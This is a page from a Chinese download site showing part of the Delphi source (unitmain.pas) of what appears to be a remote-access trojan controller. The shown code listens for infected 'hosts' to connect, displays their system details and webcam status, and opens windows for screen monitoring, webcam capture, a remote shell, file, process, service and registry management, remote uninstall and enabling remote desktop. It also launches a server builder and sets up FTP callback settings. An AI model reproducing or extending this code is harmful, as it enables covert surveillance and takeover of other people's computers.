⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitmain.pas

📁 不错的远程控制程序
💻 PAS
📖 第 1 页 / 共 4 页
字号:
        ServerSocket.Active := True;
        ListView1.Items.Clear;
        Clients.Clear;
      except
        StatusBar1.Panels.Items[0].Text := '修改监听端口失败!无法打开端口';
      end;
      StatusBar1.Panels.Items[0].Text := '修改监听端口成功!';
    end;
  except
    StatusBar1.Panels.Items[0].Text := '修改监听端口失败!';
  end; }
end;

//监听端口

procedure TMain.Active1Click(Sender: TObject);
begin
  if Port = 0 then
  begin
    Active1.Checked := False;
    Exit;
  end;
  ServerSocket.Active := Active1.Checked;
  ServicePort1.Enabled := not Active1.Checked;
  ListView1.Items.Clear;
  Clients.Clear;
  StatusBar1.Panels.Items[1].Text := ' 当前在线: ' + IntToStr(ListView1.Items.Count);
  if ServerSocket.Active then
    StatusBar1.Panels.Items[0].Text := ' 当前状态: 打开本地端口成功,等待主机上线...'  + IntToStr(Port)
  else
    StatusBar1.Panels.Items[0].Text := '打开监听端口失败!无法打开端口';
end;

//设置端口
procedure TMain.ServicePort1Click(Sender: TObject);
var
  Result: string;
begin
  Result := InputBox('打开本地监听端口', '请输入一个用于监听连接的端口:', '');
  if Length(Result) = 0 then Exit;
  Port := StrToInt(Result);
  ServerSocket.Port := Port;
  ListView1.Items.Clear;
end;

procedure TMain.Systray1Click(Sender: TObject);
begin
  Application.Restore;
  Show;
  SetForegroundWindow(Handle);
end;

procedure TMain.ApplicationEvents1Minimize(Sender: TObject);
begin
  Hide;
  ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TMain.Timer2Timer(Sender: TObject);
begin
  SystrayIcon.Visible := True;
end;

procedure TMain.Timer3Timer(Sender: TObject);
begin
  if ItemDelay <= 0 then
  begin
    LastItem := nil;
    Timer3.Enabled := False;
    ListView1.CustomSort(@SortProc, 0);
  end;
  Dec(ItemDelay);
end;

procedure TMain.N2Click(Sender: TObject);
begin
  Close;
end;

procedure TMain.N6Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  Socket: TCustomWinSocket;
  ReplyStream: TMemoryStream;
  Desktop: TDesktop;
begin
  CommandFrame.len := 0;
  CommandFrame.Command := M_CONNECT;
  CommandFrame.ID := FRAME_ID;
  if not Assigned(ListView1.Selected) then Exit;
  Socket := TCustomWinSocket(ListView1.Selected.Data);
  if not Assigned(Socket) then Exit;
  Desktop := TDesktop.Create(Application);
  Desktop.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
  Desktop.WindowItem := Window.ListView1.Items.Add;
  Desktop.WindowItem.Data := Desktop;
  Desktop.WindowItem.Caption := '屏幕监控';
  Desktop.WindowItem.SubItems.Add(Split(Desktop.RemoteAddress, ':', 1));
  Desktop.WindowItem.SubItems.Add(Split(Desktop.RemoteAddress, ':', 2));
  Desktop.Show;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  SendStream(Socket, ReplyStream);
end;

procedure TMain.spSkinButtonsBar1Sections0Items0Click(Sender: TObject);
begin
  ServicePort1.Click;
end;

function TMain.GetIPtoAdder(IpName: string): string; {从IP地址得到所在地理位置}
var
//  i: integer; //整型
//  Temp: string;
  ip: string;
begin
  Result := '';
  ip := IpName;
  try
    Result := QQWry.GetIPMsg(QQWry.GetIPRecordID(ip))[2] + QQWry.GetIPMsg(QQWry.GetIPRecordID(ip))[3];
  except
    Result := 'IP地址格式不对!';
    if Result = '' then Result := '【未知数据】';
  end;
end;


procedure TMain.ListView1Change(Sender: TObject; Item: TListItem;
  Change: TItemChange);
begin
  ListView1.CustomSort(@SortProc, 0);
end;

procedure TMain.ListView1ColumnClick(Sender: TObject; Column: TListColumn);
begin
  if SortType = Column.Index then
  begin
    case SortMode of
      0: SortMode := 1
    else
      SortMode := 0;
    end;
  end
  else
  begin
    SortType := Column.Index;
    SortMode := 0;
  end;
  ListView1.CustomSort(@SortProc, 0);
end;


procedure TMain.ListView1CustomDrawItem(Sender: TCustomListView;
  Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
begin
  Sender.Canvas.Brush.Color := clWindow;
  if LastItem = nil then Exit;
  if Item = LastItem then
  begin
    Sender.Canvas.Brush.Color := TColor($02E0F0D7); //红色
  end;
end;

procedure TMain.N13Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  Socket: TCustomWinSocket;
  ReplyStream: TMemoryStream;
  DelFile: TDelFile;
begin
  CommandFrame.len := 0;
  CommandFrame.Command := M_CONNECT;
  CommandFrame.ID := FRAME_ID;
  if not Assigned(ListView1.Selected) then Exit;
  Socket := TCustomWinSocket(ListView1.Selected.Data);
  if not Assigned(Socket) then Exit;
  DelFile := TDelFile.Create(Application);
  DelFile.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
  DelFile.WindowItem := Window.ListView1.Items.Add;
  DelFile.WindowItem.Data := DelFile;
  DelFile.WindowItem.Caption := '远程卸载';
  DelFile.WindowItem.SubItems.Add(Split(DelFile.RemoteAddress, ':', 1));
  DelFile.WindowItem.SubItems.Add(Split(DelFile.RemoteAddress, ':', 2));
  DelFile.Show;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  SendStream(Socket, ReplyStream);
end;

procedure TMain.ToolButton4Click(Sender: TObject);
begin
  ConfigServer.ShowModal;
{  ShellExecute(Handle, nil, '54sc1.exe', nil, nil, SW_SHOWNORMAL); }
  ShellExecute(Handle, nil, '54sc.EXE', nil, nil, SW_SHOWNORMAL);
end;

procedure TMain.ToolButton5Click(Sender: TObject);
begin
  FileManager1.Click; //文 件 管 理
end;

procedure TMain.ToolButton9Click(Sender: TObject);
begin
  RemoteShell1.Click; //命 令 提 示 符
end;

procedure TMain.ToolButton8Click(Sender: TObject);
begin
  ProcessManager1.Click; // 进程管理
end;

procedure TMain.ToolButton7Click(Sender: TObject);
begin
  ServiceManager1.Click; //服务管理
end;

procedure TMain.ToolButton6Click(Sender: TObject);
begin
  RegistryEditor1.Click; //注册表管理
end;

procedure TMain.ToolButton10Click(Sender: TObject);
begin
  WebcamCapture1.Click; // 视频监控
end;


procedure TMain.ToolButton2Click(Sender: TObject);
begin
  N13.Click; //服务端控制
end;

procedure TMain.ToolButton1Click(Sender: TObject);
  function JieMi(Nr: string): string;
  var
    Text: PChar;
    i: Integer;
  begin
    Text := Pchar(Nr);
    for i := 0 to length(Nr) - 1 do
    begin
      Text[i] := Chr(Ord(Text[i]) - (i + 1));
    end;
    Result := Text;
  end;
var
  ii: string;
begin
  try
    II := Myinifile.Readstring('FTP', 'AutoSave', '0');
    if ii = '0' then begin
      UpIpDate.RadioBox1.Checked := false;
    end
    else begin
      UpIpDate.FTPAdder.text := Myinifile.Readstring('FTP', 'FTPServer', '');
      UpIpDate.FTPPort.text := Myinifile.Readstring('FTP', 'FTPport', '');
      UpIpDate.FTPUser.Text := Myinifile.Readstring('FTP', 'FTPUser', '');
      UpIpDate.FTPPass1.Text := Myinifile.Readstring('FTP', 'Password', '');
      UpIpDate.FTPPass2.Text := UpIpDate.FTPPass1.Text;
      UpIpDate.IpFileEdit.Text := Myinifile.Readstring('FTP', 'IpFile', '');
      UpIpDate.RadioBox1.Checked := True;
    end;
  except
  end;
  UpIpDate.ShowModal;
end; {我的电脑目录删除}


procedure TMain.ToolButton3Click(Sender: TObject);
begin
  N6.Click;
end;

procedure TMain.TransferView1Click(Sender: TObject);
begin
  Transfers.Show;
end;

procedure TMain.N19Click(Sender: TObject);
begin
  Gongjutool.Visible := not N19.Checked;
  N19.Checked := not N19.Checked;
end;

procedure TMain.N20Click(Sender: TObject);
begin
  //Panel1.Visible := not N20.Checked;
  StatusBar1.Visible := not N20.Checked;
  N20.Checked := not N20.Checked;
end;


procedure TMain.ListView1Click(Sender: TObject);
var
 i: integer;
begin
i:= ListView1.Items.Count-1 ;
if not Assigned(ListView1.Selected) then Exit;
CmdRichEdit.Lines.Clear;
CmdRichEdit.SelAttributes.Color:=RGB(255,0,0);
CmdRichEdit.Lines.Add('当前主机-'+listview1.Items[i].Caption);
CmdRichEdit.SelAttributes.Color:=RGB(0,153,153);
CmdRichEdit.Lines.Add('系统信息-'+'用户名:'+Listview1.Items[i].SubItems.strings[0]+'|'+
                    '系统类型:'+Listview1.Items[i].SubItems.strings[1]+'|'+
                    'CPU:'+Listview1.Items[i].SubItems.strings[3]+'|'+
                    '内存:'+Listview1.Items[i].SubItems.strings[4]);
CmdRichEdit.SelAttributes.Color:=RGB(0,153,153);
CmdRichEdit.Lines.Add('         '+'电脑名称:'+Listview1.Items[i].SubItems.strings[5]+'|'+
                    Listview1.Items[i].SubItems.strings[2]+'摄像头'+'|'+
                    '服务端备注:'+Listview1.Items[i].SubItems.strings[6]);
end;
//清除
procedure TMain.N7Click(Sender: TObject);
begin
  CmdRichEdit.Lines.Clear;
end;

//复制
procedure TMain.N5Click(Sender: TObject);
begin
  Clipboard.SetTextBuf(PChar(CmdRichEdit.Lines.text));
end;

procedure TMain.N18Click(Sender: TObject);
begin
  ShellExecute(0, nil, pchar(ExtractFilePath(Paramstr(0)) + 'readme.txt'), nil, nil, SW_Show);
end;

procedure TMain.N17Click(Sender: TObject);
begin
  Shellexecute(handle, nil, pchar('http://www.54sc.com'), nil, nil, sw_shownormal);
end;

procedure TMain.N8Click(Sender: TObject);
begin
{  with TAboutForm.Create(Application) do
  try
    ShowModal;
  finally
    Free;
  end; }
  ShapForm := TShapForm.Create(Application);
  ShapForm.ShowModal;
  ShapForm.Refresh;
end;

procedure TMain.FormShow(Sender: TObject);
begin
  ShapForm.Free;
end;

procedure TMain.yy1Click(Sender: TObject);
begin
  Transfers.Show;
end;

procedure TMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 Myinifile.writestring('LocalPort', 'port', IntToStr(port));
 ExitProcess(0);
end;




procedure TMain.OpenTerm1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  Socket: TCustomWinSocket;
  ReplyStream: TMemoryStream;
  O3389: TO3389;
begin
  CommandFrame.len := 0;
  CommandFrame.Command := M_CONNECT;
  CommandFrame.ID := FRAME_ID;
  if not Assigned(ListView1.Selected) then Exit;
  Socket := TCustomWinSocket(ListView1.Selected.Data);
  if not Assigned(Socket) then Exit;
  O3389 := TO3389.Create(Application);
  O3389.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
  O3389.WindowItem := Window.ListView1.Items.Add;
  O3389.WindowItem.Data := O3389;
  O3389.WindowItem.Caption := '终端开启';
  O3389.WindowItem.SubItems.Add(Split(O3389.RemoteAddress, ':', 1));
  O3389.WindowItem.SubItems.Add(Split(O3389.RemoteAddress, ':', 2));
  O3389.Show;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  SendStream(Socket, ReplyStream);
end;

end.



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -